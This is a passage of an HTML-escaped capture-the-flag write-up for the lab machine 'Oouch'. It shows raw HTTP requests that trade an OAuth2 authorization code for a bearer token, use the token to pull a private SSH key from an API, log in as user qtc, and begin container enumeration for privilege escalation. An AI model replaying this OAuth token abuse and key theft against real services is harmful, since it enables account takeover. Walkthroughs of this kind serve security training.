keep-alive<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">302<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: application\/x-www-form-urlencoded<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">client_id=<\/span><span class=\"enlighter-k0\">E6MXOXT9fxMewdL0Z26SEiaI2weJT738gFkRpWPF<\/span><span class=\"enlighter-text\">&amp;client_secret=<\/span><span class=\"enlighter-k0\">A4jdl7bAVmqOWGt7wLv9wRYzWp0n3V3HBaXxrdj8kg4K8ioxU1Kz2XNm7aUiUpJR7SnSlZe9F9Gb3ut5kEL3VdW4I40lq7LwkcQvvf15ZQf9SyCYdNC6ZXNI3p3Sse6p<\/span><span class=\"enlighter-text\">&amp;grant_type=authorization_code&amp;code=<\/span><span class=\"enlighter-k0\">TKRbyZ2K2X3mJ1jbLP93OcCF3YbHWv<\/span><span class=\"enlighter-text\">&amp;redirect_uri=http:\/\/10.10.14.<\/span><span class=\"enlighter-n1\">37<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\">\/token<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The servers response contains the<span>\u00a0<\/span><em>access_token<\/em>:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">200<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">OK<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: application\/json<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Cache<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Control<\/span><span class=\"enlighter-text\">: no-store<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Pragma<\/span><span class=\"enlighter-text\">: no-cache<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">X<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Frame<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Options<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">SAMEORIGIN<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">161<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Vary<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">Authorization<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-c0\">\"access_token\": \"xnhbRHrE8kFGG0AaoAMGRagliG9Vbi\", \"expires_in\": 600, \"token_type\": \"Bearer\", \"scope\": \"read\", \"refresh_token\": \"HgjsEclIDVrhVCjuWjgIYHplswslJr\"}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Notice that the<span>\u00a0<\/span><em>authorization_code<\/em><span>\u00a0<\/span>needs to be relatively fresh, since older codes are rejected by the server. From<span>\u00a0<\/span><em>Djangos OAuth2 Toolkit<\/em><span>\u00a0<\/span>documentation, we can also read that the<span>\u00a0<\/span><em>access_token<\/em><span>\u00a0<\/span>needs to be used inside a<span>\u00a0<\/span><code>Authorization: Bearer<\/code><span>\u00a0<\/span>header, in order to query data from the resource server. Unfortunately we do not know where the resource server is located, but as said before, most of the times it is the same server as the authorization server.<\/p>\n<p>From our previous enumerated information we know, that one valid<span>\u00a0<\/span><em>API<span>\u00a0<\/span><\/em>endpoint on the resource server is<span>\u00a0<\/span><code>\/api\/get_user<\/code>. So lets set the Authorization header and give this endpoint a try:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">GET<\/span><span class=\"enlighter-text\"> \/api\/get_user <\/span><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Host<\/span><span class=\"enlighter-text\">: authorization.oouch.htb:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Encoding<\/span><span class=\"enlighter-text\">: gzip, deflate<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">: *\/*<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Connection<\/span><span class=\"enlighter-text\">: keep-alive<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: application\/x-www-form-urlencoded<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Authorization<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">Bearer<\/span><span class=\"enlighter-text\"> xnhbRHrE8kFGG0AaoAMGRagliG9Vbi<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The servers response contains the profile information for<span>\u00a0<\/span><em>qtc<\/em>:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">200<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">OK<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: text\/html; charset=utf-<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">X<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Frame<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Options<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">SAMEORIGIN<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">87<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Vary<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">Authorization<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-c0\">\"username\": \"qtc\", \"firstname\": \"\", \"lastname\": \"\", \"email\": \"qtc@nonexistend.nonono\"}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>We can now query profile data of<span>\u00a0<\/span><em>qtc<\/em>! However, the<span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>key seems not to be here yet. Maybe there are other<span>\u00a0<\/span><em>API<span>\u00a0<\/span><\/em>endpoints to query this information. If<span>\u00a0<\/span><code>get_user<\/code><span>\u00a0<\/span>is used for general profile data, which name could be used to access<span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>data?<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">GET<\/span><span class=\"enlighter-text\"> \/api\/get_ssh <\/span><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Host<\/span><span class=\"enlighter-text\">: authorization.oouch.htb:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Encoding<\/span><span class=\"enlighter-text\">: gzip, deflate<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">: *\/*<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Connection<\/span><span class=\"enlighter-text\">: keep-alive<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: application\/x-www-form-urlencoded<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Authorization<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">Bearer<\/span><span class=\"enlighter-text\"> xnhbRHrE8kFGG0AaoAMGRagliG9Vbi<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Indeed, the server response contains the ssh key:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">200<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">OK<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: text\/html; charset=utf-<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">X<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Frame<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Options<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">SAMEORIGIN<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">2708<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Vary<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">Authorization<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-c0\">\"ssh_server\": \"consumer.oouch.htb\", \"ssh_user\": \"qtc\", \"ssh_key\": \"-----BEGIN OPENSSH PRIVATE KEY-----\\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\\nNhAAAAAwEAAQAAAYEAqQvHuKA1i28D1ldvVbFB8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-----<\/span><span class=\"enlighter-k0\">END<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">OPENSSH<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">PRIVATE<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">KEY<\/span><span class=\"enlighter-text\">-----<\/span><span class=\"enlighter-c0\">\"}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>With the<span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>key we get finally access as<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>to the<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>machine.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">pentester@kali ~<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">$ ssh -i key qtc@10.10.10.<\/span><span class=\"enlighter-n1\">177<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Linux<\/span><span class=\"enlighter-text\"> oouch 4.19.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\">-amd64 <\/span><span class=\"enlighter-c0\">#1 SMP Debian 4.19.98-1 (2020-01-26) x86_64<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">The<\/span><span class=\"enlighter-text\"> programs included with the Debian <\/span><span class=\"enlighter-e3\">GNU<\/span><span class=\"enlighter-text\">\/Linux system are free software<\/span><span class=\"enlighter-c0\">;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">the exact distribution terms for each program are described in the<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">individual files in \/usr\/share\/doc\/*\/copyright.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Debian<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">GNU<\/span><span class=\"enlighter-text\">\/Linux comes with <\/span><span class=\"enlighter-e3\">ABSOLUTELY<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">NO<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">WARRANTY<\/span><span class=\"enlighter-text\">, to the extent<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">permitted by applicable law.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Last<\/span><span class=\"enlighter-text\"> login: Tue Jun <\/span><span class=\"enlighter-n1\">30<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">08<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">15<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">31<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2020<\/span><span class=\"enlighter-text\"> from 10.10.14.<\/span><span class=\"enlighter-n1\">37<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@oouch:~$ cat <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\">.txt | wc -c<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">33<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<h2 id=\"next-stop-root\">4.0 \u2013 Next Stop Root<\/h2>\n<p>The identified vulnerabilities inside the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>implementation of<span>\u00a0<\/span><em>Oouch<\/em><span>\u00a0<\/span>allowed us to access the server. So far we are the unprivileged user<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>and our next goal is to take over the root account. At this point, we are leaving the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>theme of the machine and focus on a different technology for the privilege escalation.<\/p>\n<h3 id=\"containers\">4.1 \u2013 Finding the Containers<\/h3>\n<p>When starting with Linux privilege escalation, it is always recommended to run a dedicated enumeration script. Discussing the total output of such a script would be an overkill for this writeup, so let us focus on the interesting parts.<\/p>\n<p>The first thing that strikes the eye are the available network interfaces on the machine:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@oouch:~$ ip a<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\">: lo: <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-e3\">LOOPBACK<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">UP<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">LOWER_UP<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> mtu <\/span><span class=\"enlighter-n1\">65536<\/span><span class=\"enlighter-text\"> qdisc noqueue <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> inet 127.0.0.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"> scope host lo<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\">: ens34: <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-e3\">BROADCAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">MULTICAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">UP<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">LOWER_UP<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> mtu <\/span><span class=\"enlighter-n1\">1500<\/span><span class=\"enlighter-text\"> qdisc <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> inet 10.10.10.<\/span><span class=\"enlighter-n1\">177<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">24<\/span><span class=\"enlighter-text\"> brd 10.10.10.<\/span><span class=\"enlighter-n1\">255<\/span><span class=\"enlighter-text\"> scope global ens34<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\">: docker0: <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-e3\">NO<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">CARRIER<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">BROADCAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">MULTICAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">UP<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> mtu <\/span><span class=\"enlighter-n1\">1500<\/span><span class=\"enlighter-text\"> qdisc <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> inet 172.17.0.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">16<\/span><span class=\"enlighter-text\"> brd 172.17.255.<\/span><span class=\"enlighter-n1\">255<\/span><span class=\"enlighter-text\"> scope global docker0<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\">: br-cc6c78e0c7d0: <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-e3\">BROADCAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">MULTICAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">UP<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">LOWER_UP<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> mtu <\/span><span class=\"enlighter-n1\">1500<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> inet 172.18.0.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">16<\/span><span class=\"enlighter-text\"> brd 172.18.255.<\/span><span class=\"enlighter-n1\">255<\/span><span class=\"enlighter-text\"> scope global br-cc6c78e0c7d0<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">6<\/span><span class=\"enlighter-text\">: veth4aaa830@if5: <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-e3\">BROADCAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">MULTICAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">UP<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">LOWER_UP<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> mtu <\/span><span class=\"enlighter-n1\">1500<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\">: veth7c79a1a@if7: <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-e3\">BROADCAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">MULTICAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">UP<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">LOWER_UP<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> mtu <\/span><span class=\"enlighter-n1\">1500<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">: veth9d766ec@if9: <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-e3\">BROADCAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">MULTICAST<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">UP<\/span><span class=\"enlighter-text\">,<\/span><span class=\"enlighter-e3\">LOWER_UP<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> mtu <\/span><span class=\"enlighter-n1\">1500<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span 